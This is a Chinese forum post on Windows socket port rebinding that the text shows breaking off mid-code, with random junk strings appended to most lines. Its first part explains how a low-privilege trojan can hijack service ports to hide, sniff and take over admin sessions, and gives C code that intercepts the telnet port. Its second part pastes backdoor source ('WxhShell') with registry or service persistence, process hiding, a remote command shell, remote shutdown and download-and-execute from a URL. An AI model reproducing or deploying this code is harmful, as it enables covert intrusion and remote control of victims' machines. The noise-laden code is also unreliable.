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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2#1FI0,Pa*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6M$.gX G.  
+.\JYH=yEr  
  saddr.sin_family = AF_INET; v-[|7Pg}Z  
\{+7`4g  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m$hSL4 N  
O,JthlAV4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =OO_TPEZ  
uD:O[H-x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r:Cad0xj;^  
Q:VD 2<2  
  这意味着什么?意味着可以进行如下的攻击: { Rw~G&vQ  
8gBqur{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +I\ bs.84  
?67j+)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |_[mb(<|  
w6Tb<ja  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ieS5*@^k  
q}BQu@'H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~w[zX4@  
^Z:x poz,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NnHM$hEI"U  
7@tr^JykO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^#^u90I  
Z@C D1+G  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9y]$c1  
(%+DE4?  
  #include F/EHU?_EI  
  #include gi;V~>kh  
  #include )cs y^-qw  
  #include    R#\8jvv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   PL+fLCk,I  
  int main() qs-:JmA_w  
  { B4|% E$1+  
  WORD wVersionRequested; ir,Zc\C  
  DWORD ret; H#Og0gEE}5  
  WSADATA wsaData; V">Uh@[J_  
  BOOL val; `XWxC:j3%  
  SOCKADDR_IN saddr; bh7 1Zu  
  SOCKADDR_IN scaddr; & vLX  
  int err; 3?5 ~KxOE(  
  SOCKET s; ;:$Na=  
  SOCKET sc; ":-)mfgGU  
  int caddsize; A<.Q&4jb  
  HANDLE mt; #sqDZ]\B  
  DWORD tid;   M;43F*   
  wVersionRequested = MAKEWORD( 2, 2 ); 9I.v?Tap  
  err = WSAStartup( wVersionRequested, &wsaData ); vCpi|a_eCu  
  if ( err != 0 ) { ?4lAL  
  printf("error!WSAStartup failed!\n"); nM0nQ{6  
  return -1; G0]n4"~+?  
  } 10}Zoq|)n  
  saddr.sin_family = AF_INET; hCxL4LrF  
   g:o\r (  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nev*TYY?A  
}lxvXVc{I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bnxzy n  
  saddr.sin_port = htons(23); ReK@~#hLY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )7i?8XiSZF  
  { l5h9Eq  
  printf("error!socket failed!\n"); s)M2Z3>+  
  return -1; R<U?)8g,h~  
  } xwRnrWd^6  
  val = TRUE; dIpt&nH&$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'Vrev8D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /e7'5#v  
  { =AKW(v  
  printf("error!setsockopt failed!\n"); )$]+R?v  
  return -1; N0qC/da1  
  } (bo bKr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y1 }d(%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qs?+vk?*h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 v;RQVH;,  
6/-!oo   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `-/l$A} U  
  { 1tr>D:c\  
  ret=GetLastError(); v|/3Mi9mz  
  printf("error!bind failed!\n"); fM|g8(TK,  
  return -1; L$Leo6<3a  
  } {fb~`=?  
  listen(s,2); F889JSZ%  
  while(1) wU ; f   
  { nM; G; T  
  caddsize = sizeof(scaddr); .3U[@*b(  
  //接受连接请求 wr$}AX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XF7W'^  
  if(sc!=INVALID_SOCKET) :HE]P)wz-  
  { `;_tt_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f~q&.,I(  
  if(mt==NULL) y{{EC#  
  { vaf9b}FL  
  printf("Thread Creat Failed!\n"); VA%"IAl  
  break; K8U Az"  
  } YEQW:r_h.S  
  } &CL|q+-  
  CloseHandle(mt); v2n0[b0  
  } TN %"RL  
  closesocket(s); l'W+^  
  WSACleanup(); 87K)qsv8  
  return 0; pq[mM!;#v  
  }   sv;zvEn;-L  
  DWORD WINAPI ClientThread(LPVOID lpParam) bNROXiX  
  { `oMeR]~  
  SOCKET ss = (SOCKET)lpParam; /,Rca1W  
  SOCKET sc; BY0|exW  
  unsigned char buf[4096]; @:7gHRJ!  
  SOCKADDR_IN saddr; B (1,Rq[  
  long num; mU=6"A0 U  
  DWORD val; q`aY.dD=O  
  DWORD ret; y@M}T{,/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3\KII9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <c ovApx  
  saddr.sin_family = AF_INET; \u]CD}/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x}.d`=  
  saddr.sin_port = htons(23); CJ?gjV6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5ZA%,pH>Jq  
  { PEBFN  
  printf("error!socket failed!\n"); q~J oGTv  
  return -1; z}1xy+  
  } }o^A^  
  val = 100; g&4~nEp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z/KZ[qH\  
  { j#e.rNG  
  ret = GetLastError(); {% _j~  
  return -1; Ys$YI{  
  } , Ln   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }Hz-h4Z  
  { _g 4 /%  
  ret = GetLastError(); <M,H9^&#l3  
  return -1; xD  
  } nuQ6X5>.=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $G_Q`w=jM  
  { ,Us2UEWNv  
  printf("error!socket connect failed!\n"); >J}n@MZ  
  closesocket(sc); 5!ubY 6Ph  
  closesocket(ss); zw: C*sY  
  return -1; z"K( bw6  
  } q{GSsDo-:V  
  while(1) p%"yBpSK  
  { ^v!im\ r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DvX3/z#T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Iv(Qa6(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 naI v=  
  num = recv(ss,buf,4096,0); .NkAD-k`  
  if(num>0) cH;TnuX  
  send(sc,buf,num,0); D4q >R;  
  else if(num==0) YvruK: I  
  break; bW9"0=j[{  
  num = recv(sc,buf,4096,0); lB!vF ~A&  
  if(num>0) 6B''9V:s  
  send(ss,buf,num,0); 8*yo7q&  
  else if(num==0) rAx"~l.=  
  break; ~pevU`}Uqc  
  } s^>lOQ=  
  closesocket(ss); N\q)LM !M  
  closesocket(sc); iS"8X#[]N  
  return 0 ; XY{:tR_al  
  } VI24+h'J  
)_8}53C  
|= cCv_y  
========================================================== h `ME(U~<<  
:,kU#eZ$-  
下边附上一个代码,,WXhSHELL Vf 0fT?/K  
n}A?jOSAe  
========================================================== xHB/]Vd-  
o-~~,n\  
#include "stdafx.h" nMG rG  
|rFR8srPG  
#include <stdio.h> 9k:W1wgH1  
#include <string.h> /zG +]  
#include <windows.h> gcg>Gjp  
#include <winsock2.h> i_u {5 U;  
#include <winsvc.h> 2L2 VVO  
#include <urlmon.h> 1n'$Ji7  
# SQvXMT  
#pragma comment (lib, "Ws2_32.lib") &Vt2be*  
#pragma comment (lib, "urlmon.lib") &xiOTkqB  
;cI#S%uvpn  
#define MAX_USER   100 // 最大客户端连接数 i-,D_   
#define BUF_SOCK   200 // sock buffer R zS|dGNQE  
#define KEY_BUFF   255 // 输入 buffer _1sMYhI  
dk_,YU'z  
#define REBOOT     0   // 重启 +2DE/wE]e+  
#define SHUTDOWN   1   // 关机 fw' r.  
py{eX`(MS  
#define DEF_PORT   5000 // 监听端口 u 1ZJHry  
mX&xn2}qZ"  
#define REG_LEN     16   // 注册表键长度 h2wN<dJCM  
#define SVC_LEN     80   // NT服务名长度 JI"/N`-?;b  
r<*O  
// 从dll定义API %bP~wl~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `c"4PU^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k6Ihc?HL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gYatsFyL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hH%,!tSx  
-J,Q;tj  
// wxhshell配置信息 B0oxCc/'sZ  
struct WSCFG { $PSY:Zz  
  int ws_port;         // 监听端口 Q.,DZp   
  char ws_passstr[REG_LEN]; // 口令 ( 0i'Nb"  
  int ws_autoins;       // 安装标记, 1=yes 0=no n%/i:Whs  
  char ws_regname[REG_LEN]; // 注册表键名 ImIqD&a-h  
  char ws_svcname[REG_LEN]; // 服务名 1^C|k(t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {-@~Q.&}v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NZLXN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ly9Q}dL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3Y z]8`C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5W+{U8\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +UxI{,L  
{A|bBg1!  
}; =fl%8"%N&  
ITyzs4"VV  
// default Wxhshell configuration XHsd-  
struct WSCFG wscfg={DEF_PORT, }^"0T-ua  
    "xuhuanlingzhe", 1SW4Y  
    1, |q;Al z{  
    "Wxhshell", rA,CQypo  
    "Wxhshell", Xv0F:1  
            "WxhShell Service", D?e"U_  
    "Wrsky Windows CmdShell Service", +W9]ED  
    "Please Input Your Password: ", %3M95UZ2  
  1, `=79i$,,t  
  "http://www.wrsky.com/wxhshell.exe", |olNA*4  
  "Wxhshell.exe" !!FR[NK  
    }; 9\ v.qo.  
~m=$VDWm  
// 消息定义模块 Z>8eD|m%2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "B#Y-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A 4j<\xL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nbGoJC:U  
char *msg_ws_ext="\n\rExit."; 6xHi\L  
char *msg_ws_end="\n\rQuit."; sAi&A9"*   
char *msg_ws_boot="\n\rReboot..."; `(!NYx  
char *msg_ws_poff="\n\rShutdown..."; j 1(T )T  
char *msg_ws_down="\n\rSave to "; _gKu8$o=-  
Z,WubX<  
char *msg_ws_err="\n\rErr!"; %e{(twp  
char *msg_ws_ok="\n\rOK!"; f =o4I2Y[  
o/cr{>"N  
char ExeFile[MAX_PATH]; nq' M?c#E  
int nUser = 0; R:A'&;S  
HANDLE handles[MAX_USER]; I!0JG`&  
int OsIsNt; HA!t$[_Ve  
0Uw ^FcW  
SERVICE_STATUS       serviceStatus; WSLy}@`Vx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !h CS#'  
UfR~%p>K  
// 函数声明  %[`a  
int Install(void); 3_W{T@T  
int Uninstall(void); ]>D)#  
int DownloadFile(char *sURL, SOCKET wsh); <F7V=Er  
int Boot(int flag); R:/ha(+  
void HideProc(void); Uky9zGa  
int GetOsVer(void); uEx9-,!  
int Wxhshell(SOCKET wsl); -`7$Qu 2  
void TalkWithClient(void *cs); !\;:36B#6  
int CmdShell(SOCKET sock); T C8`JU=wV  
int StartFromService(void); R \5Vq$Q  
int StartWxhshell(LPSTR lpCmdLine); rJQ=9qn\  
Jx$iwu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .x}gg\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;,XyN+2H  
;/'|WLI9  
// 数据结构和表定义 =Vb~s+YW  
SERVICE_TABLE_ENTRY DispatchTable[] = , T\-;7  
{ &>(gt<C$  
{wscfg.ws_svcname, NTServiceMain}, 5 y   
{NULL, NULL} 6Y1J2n"  
}; :CaTP%GW  
(a.1M8v+Sg  
// 自我安装 )eYDQA>J  
int Install(void) ewnfeg1  
{ rbyY8 bX  
  char svExeFile[MAX_PATH]; "MnSJ 2  
  HKEY key; YT=eVg53  
  strcpy(svExeFile,ExeFile); & Kmy}q  
aMTFW_w  
// 如果是win9x系统,修改注册表设为自启动 ^Kqf ~yS%  
if(!OsIsNt) { Au.:OeJm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I@\+l6&#;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5G(E&>~  
  RegCloseKey(key); {)@D`{$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ei5wel6!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;`(R7X *3  
  RegCloseKey(key); 6~8F!b2  
  return 0; p|qyTeg  
    } e1/sqXWo  
  } U O<:.6"  
} %=Tr^{ i  
else { ONX8}Ob~  
8TWTbQ  
// 如果是NT以上系统,安装为系统服务 kl}Xmw{tJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DlTR|(AL  
if (schSCManager!=0) qZk:mlYd  
{ B,vOsa"x6`  
  SC_HANDLE schService = CreateService g "hJ{{<  
  ( 27D!'S  
  schSCManager, ,^$ |R32  
  wscfg.ws_svcname, '6-$Xq0^E  
  wscfg.ws_svcdisp, {f DTSr?/  
  SERVICE_ALL_ACCESS, 3l4NC03I&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qpp/8M  
  SERVICE_AUTO_START, x,8<tSW)Z  
  SERVICE_ERROR_NORMAL, #=,imsW)  
  svExeFile, SO{p;g  
  NULL, DWiBG  
  NULL, 2oVV'9;B  
  NULL, DN8}gl VxV  
  NULL, ~i0R^qfr  
  NULL / T c=  
  ); |/`%3'4H  
  if (schService!=0) ,EpH4*e  
  { aFj.i8+  
  CloseServiceHandle(schService); 4n0xE[-  
  CloseServiceHandle(schSCManager); /)>S<X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cYNV\b4-  
  strcat(svExeFile,wscfg.ws_svcname); lr@#^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8g~EL{'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q]% T:A=  
  RegCloseKey(key); /rc%O*R  
  return 0; _. V?A*  
    } Sq2P-y!w  
  } NHQF^2\\  
  CloseServiceHandle(schSCManager); M+P$/Wk  
} ^%>kO,  
} X~9j$3lUBR  
=L-I-e97@  
return 1; F<&!b2)ML  
} LnsD  
Ao9R:|9  
// 自我卸载 DcD{*t?x  
int Uninstall(void) %O[N}_XHEh  
{ JXqr3 Np1  
  HKEY key; l$xxrb9P!  
d_z 59  
if(!OsIsNt) { 3=0E!e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K^l:MxO-X  
  RegDeleteValue(key,wscfg.ws_regname); Ms^dRe)  
  RegCloseKey(key); mpw~hW0-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZWUP^V  
  RegDeleteValue(key,wscfg.ws_regname); ^jE8+h  
  RegCloseKey(key); W"q@Qa`Bm  
  return 0; *OjKc s  
  } An`3Ex[  
} IE2"rQT  
}  .) tSg  
else { ]T:;Vo  
f9u^R=Ff[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hT g<*  
if (schSCManager!=0) `# P$ ]:  
{ S>Yj@L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S$q =;"  
  if (schService!=0) 'tgKe!-@  
  { hqvE!Of  
  if(DeleteService(schService)!=0) { Guw}=l--YR  
  CloseServiceHandle(schService); )cJ#-M2  
  CloseServiceHandle(schSCManager); }_'IE1bA  
  return 0; W_|0y4QOo  
  } 0% L l  
  CloseServiceHandle(schService); yay<GP?  
  } ~uWOdm-"[  
  CloseServiceHandle(schSCManager); dihjpI_  
} Uz7oL8  
} %r\n%$@_  
1{x.xi"A/  
return 1; SLL3v,P(7  
} /1UOT\8U  
\Q?ip&R  
// 从指定url下载文件 rqPo)AL  
int DownloadFile(char *sURL, SOCKET wsh) d*8 $>GA  
{ @$^bMIj@W  
  HRESULT hr; $ ,Ck70_  
char seps[]= "/";  mEG6  
char *token;  uF|3/x=  
char *file; n.MRz WJpZ  
char myURL[MAX_PATH]; gmKGy@]  
char myFILE[MAX_PATH]; HSUI${<  
0oZsb\  
strcpy(myURL,sURL); g#]" hn  
  token=strtok(myURL,seps); 3f.b\4 U  
  while(token!=NULL) t_z>Cl^u  
  { %M F;`;1  
    file=token; K7knK  
  token=strtok(NULL,seps);  fE f_F r  
  } $``1PJoi  
!LMN[3M_  
GetCurrentDirectory(MAX_PATH,myFILE); olB)p$aH#  
strcat(myFILE, "\\"); & F:IIo7  
strcat(myFILE, file); "Mw[P [w*  
  send(wsh,myFILE,strlen(myFILE),0); 7"F*u :  
send(wsh,"...",3,0); #AkV/1Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h0--B]f@  
  if(hr==S_OK) @}p2aV59  
return 0; (tah]Bx  
else w27KI]%(  
return 1; }U~6^2 .,  
} "vW4   
} vy2Q g  
Y`7~Am/r;&  
// 系统电源模块 j`'`)3f  
int Boot(int flag) T3UMCqc=  
{ zLs|tJOVp  
  HANDLE hToken; @+vXMJ$  
  TOKEN_PRIVILEGES tkp; >WJf=F`_H  
K5ZC:Ks  
  if(OsIsNt) { l:0s2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [v7^i_d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p^<yj0Y  
    tkp.PrivilegeCount = 1; ,[S+T.Cu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~LJY6A@y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :P,sxDlG)  
if(flag==REBOOT) { 5Wyz=+?m|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qf@q]wtar  
  return 0; 8KB>6[H!wE  
} sQ6 }\  
else { <~}7Mxn%x@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M#"524Nz  
  return 0; 4a0:2 kIKa  
} [${ QzO  
  } MObt,[^W  
  else { h5%<+D<  
if(flag==REBOOT) { (Fq5IGs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O ,rwP  
  return 0; +a&p$\  
} /kL $4CA  
else { 5$DHn ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q"O.Cbk  
  return 0; />¬$>  
} B]m@:|Q  
} 4c oJRqf=  
U~h'*nV&  
return 1; xq-17HKs  
} 7^wc)E^H  
~!s-o|N_\  
// win9x进程隐藏模块 $vHU$lZ/W  
void HideProc(void) Zfk*HV#\  
{ R1nJUOE4w^  
]{"Br$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LmlXMia  
  if ( hKernel != NULL ) E$W{8?:{  
  { Y2xL>F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @L.82p{h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Um1[sMc{au  
    FreeLibrary(hKernel); M02uO`Y9  
  } 4S~o-`&W  
h\plQ[T  
return; 8N:owK  
} >fH=DOz$&  
:[ k4Z]t8  
// 获取操作系统版本 +k dT(7  
int GetOsVer(void) (P&4d~) m  
{ rl9. ]~  
  OSVERSIONINFO winfo; ?$f)&O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); obdFS,JxxG  
  GetVersionEx(&winfo); [ W2fd\4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 91Uj}n%  
  return 1; iX0iRC6f  
  else u6`=x$&  
  return 0; xs\!$*R  
} W@y J AQ  
$P1O>x>LIL  
// 客户端句柄模块 N`)$[&NG]  
int Wxhshell(SOCKET wsl) &1+X\c+t b  
{ '9c2Q/  
  SOCKET wsh; jiF?fX@  
  struct sockaddr_in client; U4 13?Pe  
  DWORD myID; 'J,T{s1J  
J_>w3uY  
  while(nUser<MAX_USER) SIbDj[s  
{ ?Ma~^0  
  int nSize=sizeof(client); |_omr&[_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D;UV&.$'v  
  if(wsh==INVALID_SOCKET) return 1; Vy_2.  
JG9`h#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VmzbZTup  
if(handles[nUser]==0) 5{n*"88  
  closesocket(wsh); 5K|"\  
else Ed9Z9  
  nUser++; }I@L}f5N  
  } )DYI .  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "t^URp3  
hJzxbr <  
  return 0; <hwy*uBrD  
} a0Ik`8^`  
FgLrb#  
// 关闭 socket _fZZ_0\Q  
void CloseIt(SOCKET wsh) WK="J6K5  
{ w.& 1%X(k  
closesocket(wsh); '#(v=|J  
nUser--; )K'N(w  
ExitThread(0); aZEn6*0B  
} zG e'*Qei  
/r12h|  
// 客户端请求句柄 v)2M1  
void TalkWithClient(void *cs) K}=|.sE9  
{ #2`D`>7456  
*D'$"@w3  
  SOCKET wsh=(SOCKET)cs; q~o,WZG  
  char pwd[SVC_LEN]; +za8=`2o  
  char cmd[KEY_BUFF]; XQ4G)  
char chr[1]; Z}|(F RVk  
int i,j; %*#n d  
;<0LXYL;  
  while (nUser < MAX_USER) { 'R&uD~Q  
Yq(G;mjM  
if(wscfg.ws_passstr) { /m!Cc/Hv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )[1)$-Ru  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f]7M'sy|  
  //ZeroMemory(pwd,KEY_BUFF); \,J/ r!  
      i=0; = waA`Id  
  while(i<SVC_LEN) { ~tOAT;g}q  
Q[+ac*F=Y  
  // 设置超时 31EyDU,W  
  fd_set FdRead; RZ1 /#;  
  struct timeval TimeOut; Fu^ ^i&  
  FD_ZERO(&FdRead); ZNYH#mJX*  
  FD_SET(wsh,&FdRead); p$ bnK]  
  TimeOut.tv_sec=8; [frq  'c  
  TimeOut.tv_usec=0; ",{ibh)g$`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o[E_Ge}g8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <(vCiH9~P  
Q:ezifQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uUKcB:  
  pwd=chr[0]; v=('{/^~>  
  if(chr[0]==0xd || chr[0]==0xa) { 8p-=&cuo\@  
  pwd=0; H5D*|42  
  break; -48vJR*tC  
  } vP+@z-O  
  i++; n]dL?BJ  
    } pH`44KAuM  
p _d:eZ  
  // 如果是非法用户,关闭 socket w1UA?+43  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w,Ee>cV]a  
} :{(w3<i  
7z~_/mAI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -R{V-   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^[15&T5  
* !^<m0  
while(1) { X*,Kb(3   
=!m}xdTP  
  ZeroMemory(cmd,KEY_BUFF); -gQCn>"  
vky.^  
      // 自动支持客户端 telnet标准   A{B/lX)  
  j=0; XNgDf3T  
  while(j<KEY_BUFF) { ""Q1|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v`1,4,;,qs  
  cmd[j]=chr[0]; xUfbW;;]UU  
  if(chr[0]==0xa || chr[0]==0xd) { V] Et wA  
  cmd[j]=0; h=_mNG>R)  
  break; Et_V,s<|  
  } 0|; .6\  
  j++; k<+0o))  
    } S.!UPkWH  
:$+-3_oLMQ  
  // 下载文件 H~ u[3LQz  
  if(strstr(cmd,"http://")) { 6=N`wi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :rP#I#,7w  
  if(DownloadFile(cmd,wsh)) .CSS}4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ngg?@pG0y  
  else hVUP4 A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `-3o+ID\  
  } -X+H2G  
  else { wb Iq&>p  
kF>o.uSV  
    switch(cmd[0]) { xooY' El*#  
  yUPIY:0  
  // 帮助 jjM{]  
  case '?': { aTBR|U S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,C {*s$  
    break; ,sGZ2=M}J  
  } FYS/##r  
  // 安装 upvS|KUil  
  case 'i': { -R>}u'EG>  
    if(Install())  X\}Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)H@|< K  
    else ,YhdY 6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cye$H9 2  
    break; ={?v Ab:  
    } 7H>@iI"?  
  // 卸载 n[YEOkiG  
  case 'r': { KsrjdJx, '  
    if(Uninstall()) ^*~;k|;&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n4lutnF  
    else |j3'eW&=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0j(M* sl  
    break; hXGwP4  
    } /*Qq[C  
  // 显示 wxhshell 所在路径 XlI!{qj|  
  case 'p': { R}mn*h6  
    char svExeFile[MAX_PATH]; ^s.V;R  
    strcpy(svExeFile,"\n\r"); mZIoaF>t  
      strcat(svExeFile,ExeFile); n&MG7`]N  
        send(wsh,svExeFile,strlen(svExeFile),0); e?bYjJ q  
    break; ASPy  
    } h d~$WV0#  
  // 重启 wv^rS^~  
  case 'b': { lnGq :-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %P;Q|v6/|  
    if(Boot(REBOOT)) Quf_'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )bx_;9Y{  
    else { RllY-JBO  
    closesocket(wsh); ;WL1B   
    ExitThread(0); 6WoAs)ZF  
    } y0~Ia:y  
    break; 5X.e*;  
    } fJZp?e"  
  // 关机 S(aZ4{a@  
  case 'd': { t:LcNlN|  
